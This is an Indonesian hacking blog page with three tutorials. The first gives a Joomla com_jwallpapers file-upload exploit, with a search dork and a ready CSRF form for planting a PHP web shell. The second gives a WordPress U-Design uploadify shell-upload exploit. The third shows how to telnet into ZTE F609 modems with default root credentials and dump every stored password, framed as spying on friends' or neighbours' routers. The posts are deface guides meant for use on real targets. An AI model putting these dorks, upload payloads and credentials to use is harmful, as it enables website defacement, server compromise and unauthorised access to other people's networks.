Joomla Component com_jwallpapers Arbitrary File Upload

Hello World; Malam Fans, Please Say Hello Haters ;*
yoehh Gengs, lanjut lagi Walking Blog :D , Nah kali ini Gue cuma mau berbagi tentang salah satu Exploit Joomla(salah satu Bug/Celah pada CMS Joomla).
Yupz, Tutorial Deface CMS Joomla dengan eXploit Component com_jwallpapers Arbitrary File Upload.
Teknik Exploit Joomla yang memiliki Vulnerabilitas pada Component jwallpapers di CMS Joomla. hahaha, ini eXploit masih Hot banget, hasil riset dari indoXploit juga *tengkyuh ster

Let's Play with me Baby ;*

Dork:
inurl:/index.php?option=com_jwallpapers

(Selebihnya kebangin lg menggunakan imajinasi vokepers kalian, biar dpt yg vuln n verawan)

eXploit:
/index.php?option=com_jwallpapers&task=upload

1. Dorking menggunakan Search Engine
2. pilih salah satu web yg pen ditusb0l, Lalu masukan exploitnya.
cth: target.coli/index.php?option=com_jwallpapers&task=upload

3. Vulnerability ~ {"jsonrpc" : "2.0", "result" : null, "id" : "id"}

CSRF Xploit Code:

<html>
<body>
<form method="post" action="target.c0li/index.php?option=com_jwallpapers&task=upload" enctype="multipart/form-data">
<input type="file" name="file"/>
<input type="hidden" name="name" value="shell_kalian.php" />
<input type="submit" value="submit"/>
</form>
</body>
</html>

NB: 
Ubah bagian shell_kalian.php dengan nama shell yang kalian ingin kan ( ex: shell.php ), dan juga shell yang kalian upload harus ber-extensi .jpg (ex: shell.jpg). Tanpa harus menggunakan tamper data dan sebagainya.

4. Jika sudah ada yg vuln, lanjut copy nih Uploader CSRF nya, save dgn ekstensi .html & buka dgn browser kalean.

inget, shell harus berekstensi .jpg , dan nanti nama shell kalian ke ubah seperti yg kalean tulis di csrf, ektensinya juga jadi .php

Setelah Kalian Xploit, maka hasilnya akan tetap sama seperti ini:

tidak ada tulisan error sama sekali.

Shell akses: 
http://target.com/jwallpapers_files/plupload/shell_kalian.php

Gimana Mau PhP, HTML aja masih belajar :'D

Nah kalo dah masuk ke shell, seterah dah sobat mo apain, bedah isi ampe usus2nya kek.
kalo mau deface saya sarankan nitip file aja yak, kalo mau nebas index (JANGAN LUPA DI BACK UP DUANCOK :) )) 
Jadilah Dispenser yg Baik, saat anda berhasil MengEksploitasi suatu web, Usahakan laporkan Bug, dan kalo bisa sih bantu Patch secara Sukarela *Tetap hargai para WebMaster ;*

"Tidak semua website bisa di eksploitasi dgn teknik ini, harap selalu mencari dan mencoba! karena dalam dunia Hacking tidak ada yg instants dan bisa berhasil dengan mudah! Mereka yg berhasil adalah mereka yg selalu sabar berusaha dan terus mencoba!"

Mudahkan x_O ?
Stay Cool and Keep ./Crotz , gaes <(")

bila ada kesalahan mohon di maafkan dan dibenarkan di kolom komentar kak. 
bila ada kritik, dan pertanyaan langsung aja kak ke wall fanspage kami: TKJ CYBER ART
Nue cuma niat untuk Share Tutorial, yg bertujuan utk membantu para pemula kek Nue :')
Happy Joomla Hacked~
Sekian dan semoga bermanfaat .. terimakasih

Source and thanks to: Mr. Error 404 - IndoXploit

./Nuenomaru

Kami bikin Sejarah, Bukan hanya Barisan Kisah

Visit and follow :

FP         : TKJ Cyber Art

G+         : TKJ Cyber Art

youtube : TKJ Cyber Art

BBM      : C0018D1A2

Line       : http://line.me/ti/p/%40hjl8740i

Testimonial BADSECTOR CLOTHING

Silahkan yang sudah membeli/mengOrder Produk Kami untuk memberikan tanggapan, dan untuk hasil Testi barangnya silahkan di ungkapkan di komentar yak.

Komentar/tanggapan atas testimonial dari Kalian, Harap berikan tanggapan hasil testi kalian Langsung ke Dokumen Fanspage yang sudah Kami sediakan:

Testimonial BADSECTOR CLOTHING

Agar Sebagai Bukti Kami Bukan Penipu, dan Benar2 Barang Sampai ke pembeli.

Apa itu BSC: Apa itu BSC

Cek Produk BSC: ayoo di Order Produk Kami

Atas Perhatiannya , Kami para Member Official Mengucapkan Terimakasih Banyak.

eXploit U-Design Themes Vulnerability Shell Upload

Hello World ; Malamm Fans, Please Say Hello Haters ;*
xixihi, Lanjut Walking Blog geenggs, kali ini gue bakal Share dan Bahas salah satu Bug/Celah yang ada pada Themes di CMS WordPress .
xixhi, yoii ini CMS yang banyak di manfaatkan oleh para pentester n dipenser utk nemuin eXploit baru , entah itu bug terletak pada Themesnye atau Plugin dan lain2nyee :3

yoo, langsung bae, kali ini Nue baakal Share Tutorial Deface CMS WordPress dengan U-Design Themes eXploit. *eXploit lawas sih, kali aje masih crootz

Lanjut intip tutornye beebz ;*

Ojo kendorr ,le :v

Dork : 
inurl:themes/u-design/ ext:jpg > image 
"index of /'' ''uploadify.php'' ''wp-content"

(gunakan imajinasi vokeper lu utk ngembangin nih Dork, biar dpt yg vuln n verawan)

eXploit : 
/wp-content/themes/u-design//scripts/admin/uploadify/uploadify.php

Auto Xploit :  Don't touch Me , Senpai :'D 

1. Dorking menggunakan Search Engine

2. Pilih target kalian, Lalu masukan eXploitnyee.
contoh: target.c0li/wp-content/themes/u-design//scripts/admin/uploadify/uploadify.php

3. Vulnerability ~ Blank

4. Buka Link Auto Xploit, langsung taroo Link target Lu ke Auto Xploit.
klick look bitch dan klick choose file, nah kalian upload shell berekstensi php jika sudah klick crootz 

target.c0li/wp-content/themes/u-design//scripts/admin/uploadify/uploadify.php

5. nah kalo bener ada angka 1 gini dan jika begini shell kalian sudah terupload :3  #Work

jozz gondos, #Done

6. Shell Akses : target.c0li/namashellLu.php

wkwkw jozz deh, seterah mo lu apain :'3

Nah kalo dah masuk ke shell, seterah dah sobat mo apain, bedah isi ampe usus2nya kek.
kalo mau deface saya sarankan nitip file aja yak, kalo mau nebas index (JANGAN LUPA DI BACK UP DUANCOK :) )) 
Jadilah Dispenser yg Baik, saat anda berhasil MengEksploitasi suatu web, Usahakan laporkan Bug, dan kalo bisa sih bantu Patch secara Sukarela *Tetap hargai karya para WebMaster ;*

"Tidak semua website bisa di eksploitasi dgn teknik ini, harap selalu mencari dan mencoba! karena dalam dunia Hacking tidak ada yg instants dan bisa berhasil dengan mudah! Mereka yg berhasil adalah mereka yg selalu sabar berusaha dan terus mencoba!"

Btw yuk up2date tentang TKJ Cyber Art, di Official Account Line Kami: http://line.me/ti/p/%40hjl8740i
*bebas utk bertanya *sharing bareng *kepo2deh akwkwa #joinUs

Mudahkan x_O ?

Stay Cool and Keep ./Crotz , gaes <(")

bila ada kesalahan mohon di maafkan dan dibenarkan di kolom komentar kak. 
bila ada kritik, dan pertanyaan langsung aja kak ke wall fanspage kami: TKJ CYBER ART
Nue cuma niat untuk Share Tutorial, yg bertujuan utk membantu para pemula kek Nue :')
Happy WordPress Hacked ~
Sekian dan semoga bermanfaat .. terimakasih

Source and thanks to: Jendela Newbie

./Nuenomaru

Sukses adalah cara balas Dendam terbaik, utk orang2 yg memandang Lu Sebelah Mata

Visit and follow :

FP         : TKJ Cyber Art

G+         : TKJ Cyber Art

youtube : TKJ Cyber Art

BBM      : C0018D1A2

Line       : http://line.me/ti/p/%40hjl8740i

Cara Mengetahui User Dan Password Modem Speedy ZTE F609

Hooiii~ ,
Back With Me Again #OepilCore , setelah kemarin kemarin gua ngepost tentang PokemonGo(blok) , kali ini gua bakalan ngeshare tutorial tentang bagaimana caranya kalian mengetahui user dan password dari modem speedy zte punya temen kalian , atau mungkin punya tetangga kalian kwkwkw~

oke , gak perlu banyak cincong , karena ini merupakan tutorial yang emang menurut gua simple ,

langsungg cuss kita ke tutorialnya 


simple kok untuk tutorial kita kali ini ,
kalian cuman butuh telnet buat terhubung ke telnetnya si modem speedy ini ,

pertama , buka terminal dan langsung masuk ke super user

yang kedua , kaian bisa ketikan command "telnet" *Tanpa tanda kutip dua*

nahh , setelah diketikan commandnya , maka akan berpindah ke command telnet ,
selanjutnya ketikkan "open" *tanpa tanda kutip*
dan masukan ip tujuan , disini mimin ip telnet yang dituju adalah 192.168.1.1 , setelah terkoneksi , maka akan diminta akun login
, login lah dengan akun

id : root
password : Zte521

tadaaa~
setelah berhasil login , selanjutnya kalian bisa mengetikan command sebagai berikut

sendcmd 1 DB p DevAuthInfo

setelah itu akan muncul semua akun user dan password yang tersedia ,

untuk mengetahui user dan password dari modem speedy Zte F609 , terdapat di dalam

Row No="0" , bisa dilihat dari user dan passwordnya

tadaa , berhasil ketemu kan ?
selanjutnya buka browser kalian dan masuk ke dalam 192.168.1.1
dan login dengan id dan password yang tertera di dalam terminal kita ,
maka hasilnya akan seperti ini

nahkan , simple banget malahan kwkwkw. 

dan terimakasih utk Kapten ChrisCode00 (ceo founder TKJ Cyber Art) , utk Router Modem Speedy ZTE nye sebagai target oprek untuk artikel gua ini wkwkw.

Baca juge artikel dari kami Seputar Modem Speedy di Label Jaringan dan Perangkat Keras pada Blog ini.

Cara Mengganti Username dan Password Wifi Modem Speedy Telkom

Setting Port Forwarding Modem Router Speedy N ADSL2+

Trik Login Wifi.ID tanpa Harus Masukan ACCOUNT

Cara Setting Modem TP-LINK Telkom Speedy

Beberapa Cara Reset Modem TP-Link Telkom Speedy

oke sekian dulu untuk tutorial kali ini , jika ada pertanyaan atau apapun bisa ditanyakan di fanspage kita ,

maaf bila ada kesalahan kata dan lain lainnya ,

gua #OepilCore , see you on next article ,

~paypayy

Visit and follow :

FP         : TKJ Cyber Art

G+         : TKJ Cyber Art

youtube : TKJ Cyber Art

BBM      : C0018D1A2

Line       : http://line.me/ti/p/%40hjl8740i